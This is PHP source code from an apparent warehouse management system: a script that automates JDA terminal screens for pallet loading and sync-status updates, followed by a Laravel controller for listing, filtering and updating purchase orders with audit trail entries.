parent::$jda->write5250(array(array("2",10,2)),ENTER,true);
echo "Entered: Loading \n";
}
private static function enterSingle()
{
parent::$jda->screenWait("Single");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("1",7,3)),ENTER,true);
echo "Entered: Single \n";
}
public function enterBuildSingle($load_code)
{
print_r($load_code);
parent::$jda->screenWait("Build Single");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%9s", $load_code),5,4); //enter load id
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: Build Single \n";
if(parent::$jda->screenCheck('WRF0170')) {
self::$formMsg = "{$data}: WRF0170: The selected id is not in load status";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
self::updateSyncStatus($load_code);
return false;
}
return self::checkResponse($load_code);
}
public function enterPalletId($data)
{
$pallet_id = $data['pallet_code'];
print_r($pallet_id);
parent::$jda->screenWait("Pallet Id");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%9s", $pallet_id),6,3); //enter pallet id
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: Pallet Id \n";
return self::checkResponse($pallet_id);
}
public function enterWeight($pallet_id)
{
parent::$jda->screenWait("Weight");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%12d", self::$weight),8,3); //enter pallet id
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: Weight \n";
return self::checkResponse($pallet_id);
}
public static function pressF1()
{
parent::$jda->screenWait("F1");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,F1,true);
echo "Entered: Pressed F1 \n";
}
public static function pressF8($load)
{
parent::$jda->screenWait("F8");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,F8,true);
echo "Entered: Pressed F8 \n";
// self::checkResponse(NULL, $load);
}
private static function enterSealNo($load)
{
parent::$jda->screenWait("Seal No");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%9d", self::$sealNo),7,4); //enter seal no
parent::$jda->write5250($formValues,F7,true);
echo "Entered: Seal No \n";
return self::checkSuccess($load);
}
public function save($ids, $load)
{
self::pressF1();
self::pressF8($load);
self::checkResponse(NULL, $load);
self::enterSealNo($load);
}
private static function checkResponse($data = NULL, $load = NULL)
{
# error
if(parent::$jda->screenCheck('WRF0034')) {
self::$formMsg = "{$data}: WRF0034: Enter a load id";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
return false;
}
if(parent::$jda->screenCheck('WRF0132')) {
self::$formMsg = "{$data}: WRF0132: The load id entered does not exist";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
return false;
}
if(parent::$jda->screenCheck('WRF0035')) {
self::$formMsg = "{$data}: WRF0035: Enter a pallet id";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
return false;
}
if(parent::$jda->screenCheck('WRF0058')) {
self::$formMsg = "{$data}: WRF0058: Neither a pallet id or a carton id exists with the label entered";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
return false;
}
#TODOS: sync_status for this should be 2
if(parent::$jda->screenCheck('WRF0169')) {
self::$formMsg = "{$data}: WRF0169: The selected id has already been loaded";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
// self::updateLoadStatusByPallet($data, TRUE); //$data = pallet_code
return false;
}
if(parent::$jda->screenCheck('WRF0091')) {
self::$formMsg = "{$data}: WRF0091: Pallet must be closed before loading";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
return false;
}
if(parent::$jda->screenCheck('WRF0170')) {
self::$formMsg = "{$data}: WRF0170: The selected id is not in load status";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
// self::updateLoadStatusByPallet($data, TRUE); //$data = pallet_code
return false;
}
if(parent::$jda->screenCheck('WRF0036')) {
self::$formMsg = "{$data}: WRF0036: Enter pallet weight";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
return false;
}
if(parent::$jda->screenCheck('WRF0191')) {
self::$formMsg = "{$load}: There are more pallets that can be loaded.";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
parent::pressEnter();
echo 'Entered: Pressed ENTER key again.';
return false;
// return false;
}
echo self::$formMsg;
return true;
}
private static function checkSuccess($loadCode)
{
#success
if(parent::$jda->screenCheck('WRF0028') || parent::$jda->screenWait('WRF0028')) {
self::$formMsg = "WRF0028: Close load job has been submitted to batch";
parent::pressEnter();
// self::updateLoadStatusByIds($data);
self::updateSyncStatus($loadCode);
}
echo self::$formMsg;
return true;
}
/*
* Get all open is_load pallets
*/
/*public function getLoads()
{
$db = new pdoConnection();
echo "\n Getting load_code from db \n";
$sql = "SELECT DISTINCT load_code FROM wms_load_details WHERE is_load = 0 AND sync_status = 1
ORDER BY load_code ASC";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['load_code'];
}
$db->close();
return $result;
}*/
public function getPallets($load_code)
{
$db = new pdoConnection();
echo "\n Getting load_code from db \n";
$sql = "SELECT id, pallet_code, load_code
FROM wms_load_details
WHERE is_load = 0 AND load_code = '{$load_code}'";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value;
}
$db->close();
return $result;
}
/*
* Update batch wms_load_details sync_status
*/
/*private static function updateLoadStatusByIds($ids, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Updating... \n";
if(! empty($ids) )
{
$ids = join(',', $ids);
$sql = "UPDATE wms_load_details SET is_load = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}'
WHERE id IN ({$ids})";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
}
else {
print_r($ids);
echo "Empty ids \n";
}
$db->close();
}*/
/*
* Update batch wms_load_details sync_status
*/
/*private static function updateLoadStatusByPallet($pallet_code, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Updating... \n";
$sql = "UPDATE wms_load_details SET is_load = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}'
WHERE is_load = 0 AND pallet_code = '{$pallet_code}'";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}*/
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($reference, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting receiver no from db \n";
$sql = "UPDATE wms_transactions_to_jda
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}'
WHERE sync_status = 0 AND module = 'Loading' AND jda_action='Assigning' AND reference = '{$reference}'";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterUpToSingle()
{
//TODO::checkvalues
//TODO::how to know if error
try {
$title = "Shipping \n";
echo $title ;
parent::checkRecoverJob();
parent::checkJobOnProgress();
parent::enterDistributionManagement();
self::enterRadioFrequencyApplications();
self::enterRFApplications();
self::enterShipping();
self::enterLoading();
self::enterSingle();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
private static function syncShipping($params)
{
$formattedString = "{$params['loadNo']}";
$dbInstance = new pdoConnection(); //open db connection
$dbInstance->daemon('palletizing_step6', $formattedString);
$dbInstance->close();
echo "Entered: Syncing shipping.... \n";
}
public function logout($params = array())
{
parent::logout();
self::syncShipping($params);
}
}
$db = new pdoConnection(); //open db connection
$jdaParams = array();
$jdaParams = array('module' => 'Palletize Box', 'jda_action' => 'Assigning', 'checkSuccess' => 'true');
$execParams = array();
$execParams['loadNo'] = ((isset($argv[1]))? $argv[1] : NULL);
print_r($execParams);
if(isset($argv[1])) $jdaParams['reference'] = $execParams['loadNo'];
$getUnsuccessfulPalletBox = $db->getJdaTransactionPallet($jdaParams);
if(empty($getUnsuccessfulPalletBox))
{
$jdaParams = array();
$jdaParams = array('module' => 'Loading', 'jda_action' => 'Assigning');
if(isset($argv[1])) $jdaParams['reference'] = $execParams['loadNo'];
$getLoads = $db->getJdaTransaction($jdaParams);
print_r($getLoads);
if(! empty($getLoads) )
{
$loading = new palletizingStep5();
$loading->enterUpToSingle();
// $getLoads = $loading->getLoads();
foreach($getLoads as $load)
{
$validate = $loading->enterBuildSingle($load);
if($validate)
{
$getPallets = $loading->getPallets($load);
$ids = array();
foreach($getPallets as $pallet)
{
$isValidPallet = $loading->enterPalletId($pallet);
if($isValidPallet) $loading->enterWeight($pallet);
$ids[] = $pallet['id'];
}
$loading->save($ids, $load);
}
}
$loading->logout($execParams);
}
else {
echo " \n No rows found!. Proceed to shipping.\n";
$formattedString = "{$execParams['loadNo']}";
$db->daemon('palletizing_step6', $formattedString);
}
}
else{
echo " \n Found unsuccessful assigning of palletize box! Stop process!\n";
}
$db->close(); //close db connection
<file_sep><?php
class PurchaseOrderController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
private $load;
public function __construct() {
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only'=> array('Dashboard')));
$this->apiUrl = Config::get('constant.api_url');
date_default_timezone_set('Asia/Manila');
// $receiving = "classes/receive_po.php 20283";
// CommonHelper::execInBackground($receiving);
}
/**
* Shows List of Purchase Orders
*
* @example www.example.com/purchase_order
*
* @return View of Purchase order list
*/
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
public function showdivision() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('user/profile');
}
} else {
return Redirect::to('users/logout');
}
$this->getListdivision();
}
protected function getListdivision() {
$this->data = Lang::get('purchase_order');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_jda'] = Lang::get('general.button_jda');
$this->data['button_assign'] = Lang::get('general.button_assign');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
// URL
$this->data['url_export'] = URL::to('purchase_order/export' . $this->setURL());
$this->data['url_backasdf'] = URL::to('purchase_order/division' . $this->setURL());
$this->data['url_export_backorder'] = URL::to('purchase_order/export_backorder' . $this->setURL());
$this->data['url_reopen'] = URL::to('purchase_order/reopen');
$this->data['url_assign'] = URL::to('purchase_order/assign' . $this->setURL());
$this->data['url_po_partial'] = url::to('purchase_order/partial_received'. $this->setURL());
$this->data['url_po_detail'] = URL::to('purchase_order/detail' . $this->setURL(true));
$this->data['url_sync_po_division'] = url::to('purchase_order/sync_to_mobile_division');
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Options
$this->data['po_status_type'] = Dataset::getTypeInList("PO_STATUS_TYPE");
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['brands_list'] = $this->getBrands();
//$this->data['divisions_list'] = $this->getDivisions();
// Search Filters
$filter_po_no = Input::get('filter_po_no', NULL);
$filter_receiver_no = Input::get('filter_receiver_no', NULL);
$filter_entry_date = Input::get('filter_entry_date', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_back_order = Input::get('filter_back_order', NULL);
$filter_brand = Input::get('filter_brand', NULL);
$filter_division = Input::get('filter_division', NULL);
$filter_shipment_reference_no = Input::get('filter_shipment_reference_no', NULL);
$filter_invoice_no = Input::get('filter_invoice_no', NULL);
$total_qty = Input::get('total_qty', null);
$sort = Input::get('sort', 'po_no');
$order = Input::get('order', 'DESC');
$page = Input::get('page', 1);
$receiver_no = Input::get('receiver_no', NULL);
$this->data['po_info'] = PurchaseOrder::getPOInfodiv($receiver_no);
//Data
$arrParams = array(
'filter_po_no' => $filter_po_no,
'filter_receiver_no' => $filter_receiver_no,
'filter_entry_date' => $filter_entry_date,
'filter_stock_piler' => $filter_stock_piler,
'filter_back_order' => $filter_back_order,
'filter_status' => $filter_status,
'filter_brand' => $filter_brand,
'filter_division' => $filter_division,
'filter_shipment_reference_no' => $filter_shipment_reference_no,
'filter_invoice_no' => $filter_invoice_no,
'receiver_no' => $receiver_no,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = PurchaseOrder::getPoListsdivision($arrParams);
$results_total = PurchaseOrder::getPoListsdiv($arrParams, TRUE);
// echo "<pre>"; print_r($results); die();
// $results_total = PurchaseOrder::getPOQuery($arrParams, TRUE); //count($results);//
// print_r($results_total); die();
DebugHelper::log(__METHOD__, $results_total);
// Pagination
$this->data['arrFilters'] = array(
'filter_po_no' => $filter_po_no,
'filter_receiver_no' => $filter_receiver_no,
'filter_shipment_reference_no' => $filter_shipment_reference_no,
'filter_entry_date' => $filter_entry_date,
'filter_stock_piler' => $filter_stock_piler,
'filter_back_order' => $filter_back_order,
'filter_status' => $filter_status,
'filter_brand' => $filter_brand,
'filter_division' => $filter_division,
'filter_invoice_no' => $filter_invoice_no,
'sort' => $sort,
'order' => $order
);
$this->data['receiver_no'] =$receiver_no;
$this->data['purchase_orders'] = Paginator::make($results, $results_total, 30);
$this->data['purchase_orders_count'] = $results_total;
$this->data['counter'] = $this->data['purchase_orders']->getFrom();
$this->data['filter_po_no'] = $filter_po_no;
$this->data['filter_receiver_no'] = $filter_receiver_no;
$this->data['filter_shipment_reference_no'] = $filter_shipment_reference_no;
$this->data['filter_entry_date'] = $filter_entry_date;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_status'] = $filter_status;
$this->data['filter_back_order'] = $filter_back_order;
$this->data['filter_brand'] = $filter_brand;
$this->data['filter_division'] = $filter_division;
$this->data['filter_invoice_no'] = $filter_invoice_no;
$this->data['total_qty'] = $total_qty;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_po_no=' . $filter_po_no;
$url .= '&filter_entry_date=' . $filter_entry_date;
$url .= '&filter_status=' . $filter_status;
$url .= '&total_qty' .$total_qty;
$url .'&filter_invoice_no' .$filter_invoice_no;
$url .= '&page=' . $page;
$order_po_no = ($sort=='po_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_receiver_no = ($sort=='receiver_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_entry_date = ($sort=='entry_date' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['url_back'] = URL::to('purchase_order');
$this->data['sort_po_no'] = URL::to('purchase_order/division' . $url .'&receiver_no='.$receiver_no. '&sort=po_no&order=' . $order_po_no, NULL, FALSE);
$this->data['sort_receiver_no'] = URL::to('purchase_order' . $url . '&sort=receiver_no&order=' . $order_receiver_no, NULL, FALSE);
$this->data['sort_entry_date'] = URL::to('purchase_order' . $url . '&sort=entry_date&order=' . $order_entry_date, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('purchase_order.division', $this->data);
}
public function pullPODemo()
{
purchaseorder::getPullPODemo();
return Redirect::to('purchase_order')->with('message','Successfully Item Pull at JDA!');
}
public function synctomobile()
{
purchaseorder::getsynctomobile();
return Redirect::to('purchase_order')->with('message','Sync To Mobile Successfully');
}
/* public function synctdivision()
{
$po_no = Input::get('po_no', null);
$shipment_no = Input::get('shipment_no', null);
$total_qty = Input::get('total_qty', null);
$division_id = Input::get('division_id', null);
$receiver_no = Input::get('receiver_no', null);
//purchaseorder::getsynctomobiledivision($receiver_no, $division_id);
return Redirect::to('purchase_order/division?receiver_no=' .$receiver_no .'&filter_po_no='.$po_no.'&filter_shipment_reference_no='.$shipment_no .'&total_qty='. $total_qty)->with('message','Sync To Mobile Successfully');
}*/
public function synctomobiledivision()
{
$po_no = Input::get('po_no', null);
$shipment_no = Input::get('shipment_no', null);
$total_qty = Input::get('total_qty', null);
$division_id = Input::get('division_id', null);
$division = Input::get('division',null);
$receiver_no = Input::get('receiver_no', null);
purchaseorder::getsynctomobiledivision();
$data_before = 'Assigned';
$data_after = ' Sync to mobile Division no.: '. $division_id.', Recvr no.: '. $receiver_no;
$arrParams = array(
'module' => Config::get("audit_trail_modules.purchaseorder"),
'action' => Config::get("audit_trail.sync_to_mobile"),
'reference' => 'Division :'.$division_id,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
return Redirect::to('purchase_order/division?receiver_no=' .$receiver_no .'&filter_po_no='.$po_no.'&filter_shipment_reference_no='.$shipment_no .'&total_qty='. $total_qty)->with('message','Sync To Mobile Successfully');
}
public function getPartialReceiveButton()
{
$division_id = Input::get('division_id', null);
$receiver_no = Input::get('receiver_no', null);
$filter_shipment_reference_no = Input::get('filter_shipment_reference_no', null);
$filter_po_no = Input::get('filter_po_no',null);
$total_qty = input::get('total_qty', null);
purchaseorder::getPartialReceiveStatus($receiver_no, $division_id);
return Redirect::to('purchase_order/division?&receiver_no='.$receiver_no.'&division_id='.$division_id.'&filter_shipment_reference_no='.$filter_shipment_reference_no.'&filter_po_no='.$filter_po_no.'&total_qty='.$total_qty)->with('message','P.O. Successfully Received!');
}
public function updateqty()
{
$quantity_delivered = Input::get('quantity', NULL);
$receiver_no = Input::get('receiver_no', null);
$division_id = Input::get('division_id', null);
$upc = Input::get('upc', null);
$filter_po_no = Input::get('filter_po_no', null);
$filter_stock_piler = Input::get('filter_stock_piler', null);
$division = Input::get('division', null);
$total_qty = Input::get('total_qty', null);
$filter_shipment_reference_no = Input::get('filter_shipment_reference_no',null);
PurchaseOrderDetail::updateqty($quantity_delivered, $receiver_no, $division_id, $upc);
$users = User::getUsersFullname(Input::get('stock_piler'));
$fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $users));
// $user = User::find(Input::get('stock_piler'));
$data_before = '';
$data_after = 'UPC : '. $upc. ', Po no.: '. $filter_po_no.', Recvr no.: '. $receiver_no;
$arrParams = array(
'module' => Config::get("audit_trail_modules.purchaseorder"),
'action' => Config::get("audit_trail.Update_Quantity"),
'reference' => 'Quantity : ' . $quantity_delivered . ', UPC : '.$upc,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
return Redirect::to('purchase_order/detail?&receiver_no='.$receiver_no.'&division_id='.$division_id.'&upc='.$upc.'&filter_po_no='.$filter_po_no.'&filter_stock_piler='.$filter_stock_piler.'&division='.$division.'&filter_shipment_reference_no='. $filter_shipment_reference_no )->with('message','Successfully Update Quantity');
}
public function getShipmentInput()
{
$receiver_no = Input::get('purchase_order_no');
$purchase_order_no = Input::get('receiver_no');
$shipment_ref =Input::get('shipment_ref');
PurchaseOrder::getMShipmentRef($purchase_order_no, $receiver_no, $shipment_ref);
$users = User::getUsersFullname(Input::get('stock_piler'));
$fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $users));
// $user = User::find(Input::get('stock_piler'));
$data_before = '';
$data_after = 'Shipment Referrence no : ' . $shipment_ref . ', PO no. : '.$purchase_order_no. ' Rcr no. : '.$receiver_no;
$arrParams = array(
'module' => Config::get("audit_trail_modules.purchaseorder"),
'action' => Config::get("audit_trail.Update_shipment"),
'reference' => 'Shipment Referrence no : ' . $shipment_ref,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
return Redirect::to('purchase_order')->with('message','Successfully Update Shipment Reference number!');
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
public function getPODetails() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order');
} elseif (PurchaseOrder::getPOInfoByReceiverNo(Input::get('receiver_no', NULL))==NULL) {
return Redirect::to('purchase_order')->with('error', Lang::get('purchase_order.error_po_details'));
}
} else {
return Redirect::to('users/logout');
}
$this->data['heading_title_po_details'] = Lang::get('purchase_order.heading_title_po_details');
$this->data['heading_title_po_contents'] = Lang::get('purchase_order.heading_title_po_contents');
$this->data['heading_title_assign_po'] = Lang::get('purchase_order.heading_title_assign_po');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['text_assigned'] = Lang::get('purchase_order.text_assigned');
$this->data['text_closed_po'] = Lang::get('purchase_order.text_closed_po');
$this->data['text_warning'] = Lang::get('purchase_order.text_warning');
$this->data['label_purchase_no'] = Lang::get('purchase_order.label_purchase_no');
$this->data['label_receiver_no'] = Lang::get('purchase_order.label_receiver_no');
$this->data['label_supplier'] = Lang::get('purchase_order.label_supplier');
$this->data['label_entry_date'] = Lang::get('purchase_order.label_entry_date');
$this->data['label_status'] = Lang::get('purchase_order.label_status');
$this->data['label_stock_piler'] = Lang::get('purchase_order.label_stock_piler');
$this->data['label_jda_sync'] = Lang::get('purchase_order.label_jda_sync');
$this->data['label_app_sync'] = Lang::get('purchase_order.label_app_sync');
$this->data['label_invoice_amount'] = Lang::get('purchase_order.label_invoice_amount');
$this->data['label_invoice_number'] = Lang::get('purchase_order.label_invoice_number');
$this->data['entry_purchase_no'] = Lang::get('purchase_order.entry_purchase_no');
$this->data['entry_stock_piler'] = Lang::get('purchase_order.entry_stock_piler');
$this->data['entry_invoice'] = Lang::get('purchase_order.entry_invoice');
$this->data['col_id'] = Lang::get('purchase_order.col_id');
$this->data['col_sku'] = Lang::get('purchase_order.col_sku');
$this->data['col_upc'] = Lang::get('purchase_order.col_upc');
$this->data['col_short_name'] = Lang::get('purchase_order.col_short_name');
$this->data['col_expected_quantity'] = Lang::get('purchase_order.col_expected_quantity');
$this->data['col_received_quantity'] = Lang::get('purchase_order.col_received_quantity');
$this->data['button_back'] = Lang::get('general.button_back');
$this->data['button_jda'] = Lang::get('general.button_jda');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_close_po'] = Lang::get('purchase_order.button_close_po');
$this->data['button_assign_to_stock_piler'] = Lang::get('purchase_order.button_assign_to_stock_piler');
$this->data['button_assign'] = Lang::get('general.button_assign');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
$this->data['text_posted_po'] = Lang::get('purchase_order.text_posted_po');
$this->data['error_assign_po'] = Lang::get('purchase_order.error_assign_po');
$this->data['col_expiry_date'] = Lang::get('purchase_order.col_expiry_date');
$this->data['text_confirm_assign'] = Lang::get('purchase_order.text_confirm_assign');
$this->data['error_assign'] = Lang::get('purchase_order.error_assign');
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$this->data['stock_piler_list'] = $this->getStockPilers();
// Search Filters
// Main
$filter_po_no = Input::get('filter_po_no', NULL);
$filter_receiver_no = Input::get('filter_receiver_no', NULL);
$filter_shipment_reference_no = Input::get('filter_shipment_reference_no', NULL);
// $filter_supplier = Input::get('filter_supplier', NULL);
$filter_entry_date = Input::get('filter_entry_date', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_back_order = Input::get('filter_back_order', NULL);
$filter_brand = Input::get('filter_brand', NULL);
$filter_division = Input::get('filter_division', NULL);
$total_qty = input::get('total_qty', null);
$sort_back = Input::get('sort_back', 'po_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
//$receiver_no = Input::get('receiver_no', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$receiver_no = Input::get('receiver_no', NULL);
$division = Input::get('division', NULL);
$quantity_delivered = Input::get('quantity_delivered', NULL);
$division_id = Input::get('division_id', NULL);
$this->data['po_info'] = PurchaseOrderDetail::getPOInfoDetail($receiver_no,$quantity_delivered,$division_id);
$arrParams = array(
'quantity_delivered' => $quantity_delivered,
'division_id' => $division_id,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'limit' => 30
);
$results = PurchaseOrderDetail::getPODetails($receiver_no, $arrParams);
$results_total = PurchaseOrderDetail::getCountPODetails($receiver_no, $division_id, $arrParams);
// Pagination
$this->data['arrFilters'] = array(
'filter_po_no' => $filter_po_no,
'filter_receiver_no' => $filter_receiver_no,
'filter_entry_date' => $filter_entry_date,
'filter_stock_piler' => $filter_stock_piler,
'filter_status' => $filter_status,
'total_qty' => $total_qty,
// 'filter_supplier' => $filter_supplier,
'filter_back_order' => $filter_back_order,
'filter_brand' => $filter_brand,
'filter_division' => $filter_division,
'filter_shipment_reference_no' => $filter_shipment_reference_no,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'receiver_no' => $receiver_no,
'sort' => $sort_detail,
'order' => $order_detail,
);
$this->data['purchase_orders'] = Paginator::make($results, $results_total, 30);
$this->data['purchase_orders_count'] = $results_total;
$this->data['counter'] = $this->data['purchase_orders']->getFrom();
// Main
$this->data['filter_po_no'] = $filter_po_no;
$this->data['filter_receiver_no'] = $filter_receiver_no;
$this->data['filter_shipment_reference_no'] = $filter_shipment_reference_no;
$this->data['total_qty'] = $total_qty;
// $this->data['filter_supplier'] = $filter_supplier;
$this->data['filter_entry_date'] = $filter_entry_date;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_status'] = $filter_status;
$this->data['receiver_no'] = $receiver_no;
$this->data['division'] = $division;
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
// Details
$this->data['sort_detail'] = $sort_detail;
$this->data['order_detail'] = $order_detail;
$this->data['page_detail'] = $page_detail;
$url = '&page=' . $page_detail;
$order_sku = ($sort_detail=='sku' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_upc = ($sort_detail=='upc' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_short_name = ($sort_detail=='short_name' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_expected_quantity = ($sort_detail=='expected_quantity' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_received_quantity = ($sort_detail=='received_quantity' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_sku'] = $_SERVER['REQUEST_URI'] . $url . '&sort=sku&order=' . $order_sku;
$this->data['sort_upc'] = $_SERVER['REQUEST_URI'] . $url . '&sort=upc&order=' . $order_upc;
$this->data['sort_short_name'] = $_SERVER['REQUEST_URI'] . $url . '&sort=short_name&order=' . $order_short_name;
$this->data['sort_expected_quantity'] = $_SERVER['REQUEST_URI'] . $url . '&sort=expected_quantity&order=' . $order_expected_quantity;
$this->data['sort_received_quantity'] = $_SERVER['REQUEST_URI'] . $url . '&sort=received_quantity&order=' . $order_received_quantity;
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('purchase_order.detail', $this->data);
}
public function discrepansy() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessPurchaseOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('user/profile');
}
} else {
return Redirect::to('users/logout');
}
$this->getList1();
}
protected function getList1() {
$this->data = Lang::get('purchase_order');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_jda'] = Lang::get('general.button_jda');
$this->data['button_assign'] = Lang::get('general.button_assign');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
// URL
$this->data['url_export'] = URL::to('purchase_order/export_excel_file');
$this->data['url_exportpdf'] = URL::to('purchase_order/export');
$this->data['url_export_backorder'] = URL::to('purchase_order/export_backorder' . $this->setURL());
$this->data['url_reopen'] = URL::to('purchase_order/reopen');
$this->data['url_assign'] = URL::to('purchase_order/assign' . $this->setURL());
$this->data['url_detail'] = URL::to('purchase_order/detail' . $this->setURL(true));
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Options
$this->data['po_status_type'] = Dataset::getTypeInList("PO_STATUS_TYPE");
$this->data['stock_piler_list'] = $this->getStockPilers();
